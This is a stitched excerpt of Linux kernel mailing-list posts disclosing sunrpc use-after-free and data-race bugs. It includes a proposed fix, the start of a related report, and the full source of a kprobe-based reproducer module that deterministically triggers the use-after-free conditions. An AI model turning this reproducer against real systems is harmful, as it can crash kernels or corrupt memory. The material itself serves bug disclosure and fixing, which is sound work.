- mr01: the mount task reports "BUG: KASAN: slab-use-after-free in rpc_create_client_dir+0x63 -- Write of size 8" (the cl_pipedir_objects.pdh_dentry store) with the full stack mount -> path_mount -> fc_mount -> get_tree_keyed -> rpc_fill_super -> blocking_notifier_call_chain -> rpc_pipefs_event -> rpc_setup_pipedir_sb -> rpc_create_client_dir.
- mr03dbg (diagnostic kernel with CONFIG_SUNRPC_DEBUG=y, config-only change): close(fd) of the held tasks file reports slab-use-after-free in rpc_release_client -- confirming that the debugfs full-proxy release path forwards unconditionally.

Full serial logs and KASAN report excerpts are available on request.

* Related but separate

net/sunrpc/clnt.c also contains a distinct defect in rpc_switch_client_transport(), which removes the client pipedir without pipefs_sb_lock and thereby races the RPC_PIPEFS_UMOUNT notification chain into a double removal; that one is reported in its own mail, as is a data race in cache_read() (net/sunrpc/cache.c).

* Fix

The patch below rewrites the failure path so that it goes through the same reference-counted teardown as the normal path: the error exits of rpc_client_register() leave the client published, and rpc_new_client() drops its construction reference via rpc_release_client(); rpc_free_client() then unregisters the client, and rpc_free_client_work() removes any pipedir under pipefs_sb_lock and frees the client only after every external reference (open files, in-flight notifications) is gone. This removes the inverted err_auth barrier entirely, so both (a) and (b) are fixed by one change. The patch has been reviewed against the ordering argument of the normal path but has not been runtime-tested; the bugs themselves are dynamically verified as described above. Happy to test any alternative proposal.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

------------------------------------------------------------------------

The patch (text/plain; apply with patch -p1 or git am):

From: Hanxiang Xu <[email protected]>
Subject: [PATCH] SUNRPC: tear down a failed rpc_new_client() through the
reference-counted path

rpc_new_client() fully publishes the client before it can fail:
rpc_client_register() creates the debugfs entries, creates the pipefs pipedir (with userspace-visible files whose private points at the client) and puts the client on sn->all_clients before calling rpcauth_create(). Two users of that published state are not protected by the current failure path:

1. Concurrent RPC_PIPEFS_MOUNT notifications. rpc_get_client_for_event() hands out bare rpc_clnt pointers from sn->all_clients without taking a reference, and the err_auth label first calls rpc_get_sb_net() -- which, when rpc_pipefs is not mounted, releases pipefs_sb_lock and returns NULL -- before unregistering. Between that unlock and the unregister nothing protects the client, so a concurrent mount can be inside rpc_create_client_dir() writing clnt->pipefs_sb and cl_pipedir_objects.pdh_dentry when the failure path kfree()s the client. The normal release path is safe against exactly this because rpc_free_client() unregisters first and rpc_free_client_work() removes the pipedir under pipefs_sb_lock, which waits for in-flight notifications.

2. Userspace holding open debugfs "tasks" or pipefs "info" files. tasks_open() and rpc_info_open() take a cl_count reference (refcount_inc_not_zero()); their release paths call rpc_release_client(). The normal free path only frees through refcount_dec_and_test(&clnt->cl_count). The constructor failure path ignores the counter and kfree()s outright, so a file opened during the window (which includes the request_module() modprobe callout inside rpcauth_create()) uses the client after free on close() -- and, for the pipefs info file, already on read().

Fix both by routing the failure path through the reference-counted
teardown: the error exits of rpc_client_register() leave the client published, and rpc_new_client() drops its construction reference with rpc_release_client(). rpc_free_client() then unregisters the client, and rpc_free_client_work() removes any pipedir under pipefs_sb_lock and frees the client only after the last external reference is released. The early-failure labels (before any publication) keep their direct kfree(); the transport and xprt-switch references of the late path are consumed by xprt_iter_destroy() and rpc_free_client_work()'s xprt_put(), exactly as on the success path.

The bugs are verified on vanilla 7.3 with a loadable-module reproducer (choreographed publication window + concurrent mount / file open); the patch itself has been checked against the ordering argument of the normal release path but not yet runtime-tested.

---
 net/sunrpc/clnt.c | 53 +++++++++++++++++++++++++++++++++++++----------
 1 file changed, 40 insertions(+), 13 deletions(-)
net/sunrpc/clnt.c +38 -12
@@ -323,19 +323,28 @@
 	if (IS_ERR(auth)) {
 		dprintk("RPC:       Couldn't create auth handle (flavor %u)\n",
 				pseudoflavor);
-		err = PTR_ERR(auth);
-		goto err_auth;
+		/*
+		 * The client is already fully published: it sits on
+		 * sn->all_clients and its sysfs, debugfs and (when
+		 * rpc_pipefs is mounted) pipedir entries exist.  Leave
+		 * everything in place; the caller drops its construction
+		 * reference through rpc_release_client(), so the standard
+		 * teardown only runs after any external cl_count
+		 * reference (debugfs/pipefs file opens) is gone.
+		 */
+		return PTR_ERR(auth);
 	}
 	return 0;
-err_auth:
-	pipefs_sb = rpc_get_sb_net(net);
-	rpc_unregister_client(clnt);
-	__rpc_clnt_remove_pipedir(clnt);
 out:
 	if (pipefs_sb)
 		rpc_put_sb_net(net);
-	rpc_sysfs_client_destroy(clnt);
-	rpc_clnt_debugfs_unregister(clnt);
+	/*
+	 * Failure before registration in sn->all_clients:
+	 * rpc_pipefs_event() cannot reach the client and no pipedir was
+	 * published, but the debugfs and sysfs entries may already be
+	 * held open.  Route this failure through the same
+	 * reference-counted teardown in rpc_new_client().
+	 */
 	return err;
 }
 
@@ -444,10 +453,27 @@
 	return clnt;
 
 out_no_path:
-	rpc_free_iostats(clnt->cl_metrics);
-out_no_stats:
-	put_cred(clnt->cl_cred);
-	rpc_free_clid(clnt);
+	/*
+	 * The failure happened after full publication: concurrent
+	 * RPC_PIPEFS_MOUNT notifications may hold a bare pointer to the
+	 * client (rpc_get_client_for_event() hands one out without taking
+	 * a reference), and userspace may hold cl_count references via
+	 * the debugfs "tasks" file or the pipefs "<prog>/clntXX/info"
+	 * files.  Do not free the client here; drop the construction
+	 * reference and let the standard teardown run once the last
+	 * reference is released: rpc_free_client() unregisters the
+	 * client first, and rpc_free_client_work() then removes any
+	 * pipedir under pipefs_sb_lock -- waiting for in-flight
+	 * mount/umount notifications to complete -- before freeing.
+	 * The construction xprt-switch and transport references are
+	 * consumed by xprt_iter_destroy() and rpc_free_client_work()'s
+	 * xprt_put(), exactly as on the success path, so the put pairs
+	 * of the early-failure paths must not run here.
+	 */
+	rpc_release_client(clnt);
+	trace_rpc_clnt_new_err(program->name, args->servername, err);
+	return ERR_PTR(err);
+
 out_no_clid:
 	kfree(clnt);
 out_err:
 net/sunrpc/clnt.c | 50 ++++++++++++++++++++++++++++++++++++++------------
 1 file changed, 38 insertions(+), 12 deletions(-)

------------------------------------------------------------------------

// SPDX-License-Identifier: GPL-2.0
/*
* rpcrace.c - controlled-window verification instruments for the net/sunrpc
* conditional-race audit cases SUNRPC-MR-01..04
* (docs/manual-review-net-sunrpc-2026-11-25.md, v4).
*
* Methodology follows this environment's established controlled-window
* precedent (r4_stall.c, r1stall.c, fx*): zero kernel-source changes; a
* loadable module drives exported core APIs (rpc_create, rpcauth_register,
* rpc_switch_client_transport, rpc_mkpipe_data/rpc_add_pipe_dir_object,
* cache_create_net/sunrpc_cache_upcall) and kprobe pre-handlers widen the
* natural race windows into deterministic choreographies.
*
* Modes (module param "mode"):
* mr03pfs - SUNRPC-MR-03 pipefs flavor. Custom authops->create() holds the

 *            rpc_client_register() failure window open until a userspace
 *            helper has open(2)'d the failing client's <pipefs>/nfs/clntXX/info
 *            file (open takes a cl_count reference via rpc_info_open).  After
 *            the window closes rpc_new_client() kfree()s the client anyway
 *            and the helper read()s/closes the fd -> use-after-free in
 *            rpc_show_info()/rpc_info_release().
 *  mr03dbg - same choreography against the debugfs "tasks" file
 *            (/sys/kernel/debug/sunrpc/rpc_clnt/<clid>/tasks, tasks_open
 *            takes the cl_count reference; full_proxy_release forwards
 *            tasks_release unconditionally).  Only meaningful on a kernel
 *            built with CONFIG_SUNRPC_DEBUG (debugfs.c compiled in).
 *  mr01    - SUNRPC-MR-01.  Double-kprobe choreography:
 *            kp1 = rpc_unregister_client entry, claimed by our failing
 *            client thread at err_auth (after rpc_get_sb_net() already saw
 *            pipefs unmounted and released pipefs_sb_lock);
 *            kp2 = rpc_create_client_dir entry, claimed by the concurrent
 *            "mount -t rpc_pipefs" notifier while it holds pipefs_sb_lock
 *            and has already written clnt->pipefs_sb = sb.
 *            Release order (A resumes -> unregister/remove/kfree, then B
 *            resumes) reproduces the audited interleaving: B writes
 *            pdh_dentry into the freed rpc_clnt (UAF write) and leaves an
 *            orphan pipedir whose info file private points at freed memory.
 *  mr04    - SUNRPC-MR-04.  kprobe stall on simple_recursive_removal() when
 *            called with callback == rpc_close_pipes from the umount task,
 *            while a module thread drives rpc_switch_client_transport()
 *            (which calls __rpc_clnt_remove_pipedir() WITHOUT
 *            pipefs_sb_lock).  Both threads read the same pdh_dentry /
 *            pipe->dentry before either clears it -> the umount thread
 *            resumes simple_recursive_removal() on the already-freed pipe
 *            child dentry (use-after-free).
 *  mr02    - SUNRPC-MR-02 (KCSAN kernel).  Module-owned cache_detail
 *            ("racetest", /proc/net/rpc/racetest/channel) + an upcall
 *            feeder; userspace runs two concurrent readers and a
 *            FIONREAD ioctl loop against the shared cache_request so that
 *            cache_read()/cache_read()/cache_ioctl() race on rq->buf and
 *            rq->len (plain, unsynchronised accesses).

*
* Handshake with userspace (see scripts/init-rpcrace):
* /sys/module/rpcrace/parameters/event - readonly state machine
* /sys/module/rpcrace/parameters/helper_ready - write 1 to complete the
* window (mr03*); mr01/mr04 choreograph internally.
*/
#define pr_fmt(fmt) "RPCRACE: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/completion.h>
#include <linux/delay.h>
#include <linux/slab.h>
#include <linux/in.h>
#include <linux/kref.h>
#include <linux/jiffies.h>
#include <linux/timer.h>
#include <linux/atomic.h>
#include <linux/sunrpc/clnt.h>
#include <linux/sunrpc/auth.h>
#include <linux/sunrpc/msg_prot.h>
#include <linux/sunrpc/rpc_pipe_fs.h>
#include <linux/sunrpc/cache.h>
#include <linux/sunrpc/xprt.h>
#include <linux/sunrpc/stats.h>

static char *mode = "mr03pfs";
static int hold_ms = 8000;
static int iters = 2;
static int stall_ms = 4000;
static int secs = 30;
static int auth_ok;
static unsigned long cb_addr;
static bool do_hold;

module_param(mode, charp, 0400);
module_param(hold_ms, int, 0400);
module_param(iters, int, 0400);
module_param(stall_ms, int, 0400);
module_param(secs, int, 0400);
module_param(auth_ok, int, 0400);
module_param(cb_addr, ulong, 0400);
MODULE_PARM_DESC(mode, "mr03pfs | mr03dbg | mr01 | mr04 | mr02"); MODULE_PARM_DESC(cb_addr, "runtime address of rpc_close_pipes (mr04)");

/* ------------------------------------------------------------------ */

/* state machine                                                       */
/*  event==1 : A stalled / window open (helper may act)                */
/*  event==2 : B stalled (mr01: mount inside create_client_dir;        */
/*             mr04: umount inside simple_recursive_removal)           */
/*  event==3 : failing client freed / done                             */

/* ------------------------------------------------------------------ */ static atomic_t race_state = ATOMIC_INIT(0);
static DECLARE_COMPLETION(helper_compl);
static DECLARE_COMPLETION(go_compl);
static struct task_struct *worker;
static int kp_unreg_hit, kp_ccd_hit, kp_srr_hit;

/* ------------------------- fake rpc program ------------------------ */ static u32 race_counts[1];
static const struct rpc_procinfo race_procs[1] = { { 0 } };

static const struct rpc_version race_v1 = {
	.number		= 1,
	.nrprocs	= 1,
	.procs		= race_procs,
	.counts		= race_counts,
};
static const struct rpc_version *race_version[1] = { &race_v1 };
static struct rpc_stat race_stat;
static const struct rpc_program race_program = {
	.name		= "rpcrace",
	.number		= 200000,
	.nrvers		= 1,
	.version	= race_version,
	.stats		= &race_stat,
	.pipe_dir_name	= "nfs",	/* exists in rpc_pipefs root */
};

/* ------------------------- fake rpc auth --------------------------- */ static void race_auth_destroy(struct rpc_auth *auth) { } static struct rpc_auth race_fake_auth;

/*
* create() is called from rpcauth_create() inside rpc_client_register()
* (clnt.c L322) - i.e. AFTER the client was published to sn->all_clients
* (L318) and after the pipefs pipedir was created (L313-315). Holding this
* callback open holds the audited publication window open (mr03*). */
static struct rpc_auth *
race_auth_create(const struct rpc_auth_create_args *args, struct rpc_clnt *clnt)

{
	if (auth_ok) {
		refcount_set(&race_fake_auth.au_count, 1);
		return &race_fake_auth;
	}
	if (do_hold) {
		pr_info("window OPEN (hold_ms=%d), clnt=%p clid=%d\n",
			hold_ms, clnt, clnt->cl_clid);
		atomic_set(&race_state, 1);
		wait_for_completion_timeout(&helper_compl,
					    msecs_to_jiffies(hold_ms));
	}
	return ERR_PTR(-EINVAL);
}
static const struct rpc_authops race_authops = {
	.owner		= THIS_MODULE,
	.au_flavor	= RPC_AUTH_KRB,		/* 4, unregistered in-kernel */
	.au_name	= "rpcrace",
	.create		= race_auth_create,
	.destroy	= race_auth_destroy,
};

/* ------------------------- kprobe machinery ------------------------ */ static atomic_t arm = ATOMIC_INIT(0);
static atomic_t release_flag = ATOMIC_INIT(0);

static void spin_until(int target)

{
	unsigned long until = jiffies + msecs_to_jiffies(stall_ms);

	while (atomic_read(&race_state) < target && time_before(jiffies, until))
		cpu_relax();
}

/* mr01 kp1: rpc_unregister_client entry on the failing-client thread */ static int mr01_kp_unreg_pre(struct kprobe *p, struct pt_regs *regs)

{
	if (!atomic_read(&arm) || kp_unreg_hit || current != worker)
		return 0;
	kp_unreg_hit = 1;
	atomic_set(&race_state, 1);
	pr_info("kp1: failing thread stalled at err_auth unregister "
		"(rpc_get_sb_net already returned NULL)\n");
	spin_until(2);
	pr_info("kp1: mount side stalled -> releasing failing thread\n");
	return 0;
}

/* mr01 kp2: rpc_create_client_dir entry on the mount task */ static int mr01_kp_ccd_pre(struct kprobe *p, struct pt_regs *regs)

{
	if (!atomic_read(&arm) || kp_ccd_hit || !kp_unreg_hit)
		return 0;
	if (strncmp(current->comm, "mount", 5) != 0)
		return 0;
	kp_ccd_hit = 1;
	atomic_set(&race_state, 2);
	pr_info("kp2: mount notifier stalled inside rpc_create_client_dir "
		"(holds pipefs_sb_lock, clnt->pipefs_sb already written)\n");
	spin_until(3);
	pr_info("kp2: failing client freed -> resuming create_client_dir "
		"on freed rpc_clnt\n");
	return 0;
}

/* mr04 kp: simple_recursive_removal(dentry, callback==rpc_close_pipes) */ static int mr04_kp_srr_pre(struct kprobe *p, struct pt_regs *regs)

{
	if (!atomic_read(&arm) || kp_srr_hit)
		return 0;
#ifdef CONFIG_X86_64
	if (!cb_addr || regs->si != cb_addr)
		return 0;
#else
	return 0;
#endif
	if (strncmp(current->comm, "umount", 6) != 0)
		return 0;
	kp_srr_hit = 1;
	atomic_set(&race_state, 2);
	pr_info("kp: umount stalled inside simple_recursive_removal(pipe child)\n");
	{
		unsigned long until = jiffies + msecs_to_jiffies(stall_ms * 2);

		while (!atomic_read(&release_flag) &&
		       time_before(jiffies, until))
			cpu_relax();
	}
	pr_info("kp: switch-side removal done -> resuming removal on freed "
		"pipe dentry\n");
	return 0;
}

static struct kprobe kp_unreg = { .symbol_name = "rpc_unregister_client",

				  .pre_handler = mr01_kp_unreg_pre };
static struct kprobe kp_ccd = { .symbol_name = "rpc_create_client_dir",
				.pre_handler = mr01_kp_ccd_pre };
static struct kprobe kp_srr = { .symbol_name = "simple_recursive_removal",
				.pre_handler = mr04_kp_srr_pre };

/*
* mr04: the switch thread blocks on pipefs_sb_lock inside the re-register
* (the stalled umount holds the mutex), so the release is driven by a timer
* armed just before rpc_switch_client_transport(): the switch's unlocked
* __rpc_clnt_remove_pipedir() completes in microseconds, well within the
* 2s window; the umount thread then resumes on the freed pipe dentry. */
static struct timer_list mr04_rel_timer;

static void mr04_rel_timer_fn(struct timer_list *t)

{
	atomic_set(&release_flag, 1);
	pr_info("mr04: release timer fired\n");
}

/* ------------------------- client helpers -------------------------- */ static struct rpc_clnt *race_make_client(bool want_ok)

{
	struct sockaddr_in sin = {
		.sin_family	= AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port	= htons(2049),
	};
	struct rpc_create_args args = {
		.net		= current->nsproxy->net_ns,
		.protocol	= XPRT_TRANSPORT_TCP,
		.address	= (struct sockaddr *)&sin,
		.addrsize	= sizeof(sin),
		.servername	= "racetest",
		.program	= &race_program,
		.version	= 0,
		.authflavor	= RPC_AUTH_KRB,
		.cred		= current_cred(),
		.flags		= RPC_CLNT_CREATE_NOPING,
	};

	auth_ok = want_ok ? 1 : 0;
	return rpc_create(&args);
}

/* ------------------------- mr03 worker ----------------------------- */ static int mr03_threadfn(void *unused)

{
	int i;

	wait_for_completion(&go_compl);
	for (i = 0; i < iters; i++) {
		struct rpc_clnt *clnt;

		reinit_completion(&helper_compl);
		clnt = race_make_client(false);
		if (!IS_ERR(clnt)) {
			pr_err("unexpected success, aborting\n");
			rpc_shutdown_client(clnt);
			break;
		}
		pr_info("iteration %d: rpc_create failed (%ld); client freed "
			"while file references were held\n", i, PTR_ERR(clnt));
		atomic_set(&race_state, 3);
		msleep(300);
	}
	atomic_set(&race_state, 3);
	pr_info("mr03 done\n");
	return 0;
}

/* ------------------------- mr01 worker ----------------------------- */ static int mr01_threadfn(void *unused)

{
	struct rpc_clnt *clnt;

	wait_for_completion(&go_compl);
	kp_unreg_hit = 0;
	kp_ccd_hit = 0;
	/* pipefs must be unmounted at create time; kp1 stalls the err_auth
	 * unregister; the helper's concurrent mount stalls inside
	 * rpc_create_client_dir via kp2; release order reproduces the
	 * audited interleaving. */
	atomic_set(&arm, 1);
	clnt = race_make_client(false);
	atomic_set(&arm, 0);
	if (!IS_ERR(clnt)) {
		pr_err("mr01: unexpected success\n");
		rpc_shutdown_client(clnt);
	} else {
		pr_info("mr01: rpc_create failed (%ld)\n", PTR_ERR(clnt));
	}
	atomic_set(&race_state, 3);
	return 0;
}

/* ------------------------- mr04 machinery -------------------------- */

struct race_pdo {
	struct rpc_pipe_dir_object pdo;
	struct rpc_pipe *pipe;
};

static struct rpc_clnt *mr04_clnt;
static struct race_pdo mr04_rp;

static ssize_t race_pipe_upcall(struct file *filp, struct rpc_pipe_msg *msg,
char __user *dst, size_t buflen)

{
	return rpc_pipe_generic_upcall(filp, msg, dst, buflen);
}

static const struct rpc_pipe_ops race_pipe_ops = {
.upcall = race_pipe_upcall,
};

static int race_pdo_create(struct dentry *dir, struct rpc_pipe_dir_object *pdo)

{
	struct race_pdo *rp = pdo->pdo_data;

	return rpc_mkpipe_dentry(dir, "racetest", NULL, rp->pipe);
}

static void race_pdo_destroy(struct dentry *dir, struct rpc_pipe_dir_object *pdo)

{
	struct race_pdo *rp = pdo->pdo_data;

	rpc_unlink(rp->pipe);
}
static const struct rpc_pipe_dir_object_ops race_pdo_ops = {
	.create		= race_pdo_create,
	.destroy	= race_pdo_destroy,
};

static int mr04_setup(void)

{
	int ret;

	mr04_clnt = race_make_client(true);	/* want_ok: fake valid auth */
	if (IS_ERR(mr04_clnt))
		return PTR_ERR(mr04_clnt);

	mr04_rp.pipe = rpc_mkpipe_data(&race_pipe_ops, 0);
	ret = PTR_ERR_OR_ZERO(mr04_rp.pipe);
	if (ret)
		goto out_clnt;
	mr04_rp.pdo.pdo_data = &mr04_rp;
	rpc_init_pipe_dir_object(&mr04_rp.pdo, &race_pdo_ops, &mr04_rp);
	ret = rpc_add_pipe_dir_object(rpc_net_ns(mr04_clnt),
				      &mr04_clnt->cl_pipedir_objects,
				      &mr04_rp.pdo);
	if (ret)
		goto out_pipe;
	pr_info("mr04: client clid=%d armed with pipedir + child pipe\n",
		mr04_clnt->cl_clid);
	return 0;
out_pipe:
	rpc_destroy_pipe_data(mr04_rp.pipe);
out_clnt:
	rpc_shutdown_client(mr04_clnt);
	mr04_clnt = NULL;
	return ret;
}

static void mr04_cleanup(void)

{
	if (mr04_clnt)
		rpc_shutdown_client(mr04_clnt);
	mr04_clnt = NULL;
}

static int mr04_threadfn(void *unused)

{
	struct sockaddr_in sin = {
		.sin_family	= AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port	= htons(2049),
	};
	struct xprt_create xargs = {
		.ident		= XPRT_TRANSPORT_TCP,
		.net		= rpc_net_ns(mr04_clnt),
		.dstaddr	= (struct sockaddr *)&sin,
		.addrlen	= sizeof(sin),
		.servername	= "racetest",
	};
	int ret, i;

	/* wait for the umount thread to stall inside simple_recursive_removal */
	{
		unsigned long until = jiffies + msecs_to_jiffies(stall_ms * 4);

		while (atomic_read(&race_state) < 2 &&
		       time_before(jiffies, until))
			msleep(1);
	}
	if (atomic_read(&race_state) < 2) {
		pr_err("mr04: umount side never stalled, aborting\n");
		return 0;
	}
	pr_info("mr04: driving rpc_switch_client_transport() against the "
		"stalled umount\n");
	timer_setup(&mr04_rel_timer, mr04_rel_timer_fn, 0);
	/* 300ms: the switch-side unlocked removal completes in microseconds,
	 * while the freed dentries are still inside the KASAN quarantine when
	 * the umount thread resumes (clean slab-use-after-free instead of a
	 * post-reuse crash). */
	mod_timer(&mr04_rel_timer, jiffies + msecs_to_jiffies(300));
	for (i = 0; i < 3; i++) {
		ret = rpc_switch_client_transport(mr04_clnt, &xargs, NULL);
		pr_info("mr04: switch attempt %d -> %d\n", i, ret);
		if (ret == 0)
			break;
		msleep(50);
	}
	timer_delete_sync(&mr04_rel_timer);
	atomic_set(&release_flag, 1);
	atomic_set(&race_state, 3);
	return 0;
}

/* ------------------------- mr02 machinery -------------------------- */ static struct cache_detail *race_cd;
static struct task_struct *feeder;
static bool feeder_run = true;

static void race_cache_put(struct kref *ref) { }

static void race_cache_request(struct cache_detail *cd, struct cache_head *h,
char **bpp, int *blen)

{
	/* deterministic, comfortably-sized upcall text */
	qword_add(bpp, blen, (char *)"racetest");
	qword_add(bpp, blen, (char *)"filler-line-for-concurrent-formatting-race");
	qword_add(bpp, blen, (char *)"0123456789012345678901234567890123456789");
	qword_add(bpp, blen, (char *)"0123456789012345678901234567890123456789");
	if (*blen > 0)
		(*bpp)[-1] = '\n';
}

static struct cache_head *race_alloc(void)

{
	return kzalloc_obj(struct cache_head, GFP_KERNEL);
}

static int race_match(struct cache_head *a, struct cache_head *b) { return 1; } static void race_init_h(struct cache_head *a, struct cache_head *b) { } static void race_update(struct cache_head *a, struct cache_head *b) { }

static struct cache_detail race_cd_template = {
	.owner		= THIS_MODULE,
	.hash_size	= 16,
	.name		= "racetest",
	.cache_put	= race_cache_put,
	.cache_request	= race_cache_request,
	.alloc		= race_alloc,
	.match		= race_match,
	.init		= race_init_h,
	.update		= race_update,
};

static int mr02_setup(void)

{
	int ret;

	race_cd = cache_create_net(&race_cd_template, current->nsproxy->net_ns);
	if (IS_ERR(race_cd))
		return PTR_ERR(race_cd);
	ret = cache_register_net(race_cd, current->nsproxy->net_ns);
	if (ret)
		goto out_free;
	pr_info("mr02: channel at /proc/net/rpc/racetest/channel\n");
	return 0;
out_free:
	cache_destroy_net(race_cd, current->nsproxy->net_ns);
	race_cd = NULL;
	return ret;
}

static void mr02_cleanup(void)

{
	if (!race_cd)
		return;
	feeder_run = false;
	if (feeder && !IS_ERR(feeder)) {
		kthread_stop(feeder);
		feeder = NULL;
	}
	cache_unregister_net(race_cd, current->nsproxy->net_ns);
	cache_destroy_net(race_cd, current->nsproxy->net_ns);
	race_cd = NULL;
}

static int mr02_threadfn(void *unused)

{
	unsigned long until = jiffies + secs * HZ;

	while (feeder_run && time_before(jiffies, until)) {
		struct cache_head *h = race_alloc();

		if (h) {
			memset(h, 0, sizeof(*h));
			INIT_HLIST_NODE(&h->cache_list);
			kref_init(&h->ref);
			h->expiry_time = seconds_since_boot() + 3600;
			h->last_refresh = seconds_since_boot();
			sunrpc_cache_upcall(race_cd, h);
			/* h intentionally left pending: the rq stays on
			 * cd->requests for the readers to race on; the
			 * per-item leak is bounded by the run duration. */
		}
		usleep_range(1000, 2000);
	}
	pr_info("mr02: feeder done\n");
	return 0;
}

/* ------------------------- module glue ----------------------------- */ static int helper_ready_get(char *buf, const struct kernel_param *kp)

{
	return sprintf(buf, "%d\n", atomic_read(&race_state) >= 1 ? 1 : 0);
}

static int helper_ready_set(const char *val, const struct kernel_param *kp)

{
	int v;

	if (kstrtoint(val, 0, &v))
		return -EINVAL;
	if (v) {
		pr_info("helper_ready -> window closing\n");
		complete(&helper_compl);
	}
	return 0;
}

static const struct kernel_param_ops helper_ready_ops = {
.flags = KERNEL_PARAM_OPS_FL_NOARG,
.get = helper_ready_get,
.set = helper_ready_set,
};
module_param_cb(helper_ready, &helper_ready_ops, NULL, 0600);

static int event_get(char *buf, const struct kernel_param *kp)

{
	return sprintf(buf, "%d\n", atomic_read(&race_state));
}
static const struct kernel_param_ops event_ops = {
	.flags	= KERNEL_PARAM_OPS_FL_NOARG,
	.get	= event_get,
};

module_param_cb(event, &event_ops, NULL, 0444);

static int __init rpcrace_init(void)

{
	int ret;

	do_hold = !strcmp(mode, "mr03pfs") || !strcmp(mode, "mr03dbg");
	pr_info("mode=%s hold_ms=%d iters=%d stall_ms=%d secs=%d cb_addr=0x%llx\n",
		mode, hold_ms, iters, stall_ms, secs, (unsigned long long)cb_addr);

	if (!strcmp(mode, "mr03pfs") || !strcmp(mode, "mr03dbg")) {
		ret = rpcauth_register(&race_authops);
		if (ret)
			return ret;
		worker = kthread_run(mr03_threadfn, NULL, "rpcraceA");
		ret = PTR_ERR_OR_ZERO(worker);
		if (!ret)
			complete(&go_compl);
		return ret;
	}

	if (!strcmp(mode, "mr01")) {
		ret = register_kprobe(&kp_unreg);
		if (ret)
			return ret;
		ret = register_kprobe(&kp_ccd);
		if (ret) {
			unregister_kprobe(&kp_unreg);
			return ret;
		}
		worker = kthread_run(mr01_threadfn, NULL, "rpcraceA");
		ret = PTR_ERR_OR_ZERO(worker);
		if (ret) {
			unregister_kprobe(&kp_ccd);
			unregister_kprobe(&kp_unreg);
			return ret;
		}
		/* thread blocks on go_compl; release after worker assigned */
		complete(&go_compl);
		return 0;
	}

	if (!strcmp(mode, "mr04")) {
		if (!cb_addr) {
			pr_err("mr04 requires cb_addr=<rpc_close_pipes>\n");
			return -EINVAL;
		}
		ret = rpcauth_register(&race_authops);
		if (ret)
			return ret;
		ret = mr04_setup();
		if (ret) {
			rpcauth_unregister(&race_authops);
			return ret;
		}
		ret = register_kprobe(&kp_srr);
		if (ret) {
			mr04_cleanup();
			return ret;
		}
		atomic_set(&arm, 1);
		worker = kthread_run(mr04_threadfn, NULL, "rpcraceA");
		if (IS_ERR(worker)) {
			unregister_kprobe(&kp_srr);
			atomic_set(&arm, 0);
			mr04_cleanup();
			return PTR_ERR(worker);
		}
		return 0;
	}

	if (!strcmp(mode, "mr02")) {
		ret = mr02_setup();
		if (ret)
			return ret;
		feeder = kthread_run(mr02_threadfn, NULL, "rpcraceF");
		if (IS_ERR(feeder)) {
			mr02_cleanup();
			return PTR_ERR(feeder);
		}
		return 0;
	}

	return -EINVAL;
}

static void __exit rpcrace_exit(void)

{
	if (!strcmp(mode, "mr03pfs") || !strcmp(mode, "mr03dbg")) {
		if (worker && !IS_ERR(worker))
			kthread_stop(worker);
		rpcauth_unregister(&race_authops);
	} else if (!strcmp(mode, "mr01")) {
		atomic_set(&arm, 0);
		if (worker && !IS_ERR(worker))
			kthread_stop(worker);
		unregister_kprobe(&kp_ccd);
		unregister_kprobe(&kp_unreg);
	} else if (!strcmp(mode, "mr04")) {
		atomic_set(&arm, 0);
		atomic_set(&release_flag, 1);
		if (worker && !IS_ERR(worker))
			kthread_stop(worker);
		unregister_kprobe(&kp_srr);
		mr04_cleanup();
		rpcauth_unregister(&race_authops);
	} else if (!strcmp(mode, "mr02")) {
		mr02_cleanup();
	}
	pr_info("exit\n");
}

module_init(rpcrace_init);
module_exit(rpcrace_exit);
MODULE_LICENSE("GPL");

author
#119 lore raw

SUNRPC: cache_read() serialises readers with a per-open inode lock, but every open() gets a fresh inode: concurrent formatting of the shared upcall buffer and unsynchronised rq->len (Data Race KCSAN-confirmed)

In reply to Greg KH

------------------------------------------------------------------------

cache_read() (net/sunrpc/cache.c) guards the shared upcall-request state of a sunrpc cache channel with inode_lock(file_inode(filp)), commented "protect against multiple concurrent readers on this file". But the state it needs to protect -- the cache_request's rq->buf and rq->len -- is shared per struct cache_detail, not per inode, and on procfs every open() of the channel gets a brand-new inode (/proc/net/rpc entries force revalidation on every lookup and proc_get_inode() allocates a fresh inode each time), so the lock serialises nothing across readers: two concurrent readers of the same channel both pass the "rq->len == 0" check and both run cache_request(), concurrently formatting the same shared PAGE_SIZE buffer, and both store rq->len with plain, unsynchronised stores -- while cache_ioctl(FIONREAD) reads rq->len under cd->queue_lock, a lock the formatting write does not hold. A reader's copy_to_user() can also run concurrently with the other reader's formatting, delivering torn upcall text to the userspace cache daemons (gssd, nfsd's export/idmap caches). This is a true data race on plain C accesses, confirmed with KCSAN on mainline 7.3; the request lifetime itself is correctly protected by rq->readers, so this is data corruption (wrong/torn upcall text, failed daemon parsing), not memory unsafety.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #1 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 tree; net/sunrpc/cache.c is byte-identical between the audited tree and 7.3, line numbers below are from 7.3. Data race confirmed with a KCSAN-enabled build of the same tree in QEMU/KVM x86_64.

* Mechanism

Every cache_detail exposes an upcall channel (channel file, created in create_cache_proc_entries(), cache.c:1670-1704, with private data pointing at the shared struct cache_detail) and serves reads through cache_read() (cache.c:841-910):

    cache.c:852   inode_lock(inode);   /* "protect against multiple
                                          concurrent readers on this
                                          file" */
    cache.c:855   spin_lock(&cd->queue_lock);
    cache.c:865   rq->readers++;        /* under queue_lock -- safe */
    cache.c:866   spin_unlock(&cd->queue_lock);
    cache.c:868   if (rq->len == 0) {
    cache.c:869       err = cache_request(cd, rq);   /* formats rq->buf */
    cache.c:872       rq->len = err;                 /* plain store */
    cache.c:873   }
    cache.c:879   count = rq->len - rp->offset;  /* plain read */
    cache.c:882   copy_to_user(buf, rq->buf + rp->offset, count);
    cache.c:894   spin_lock(&cd->queue_lock);    /* readers--, free */

Two things break this:

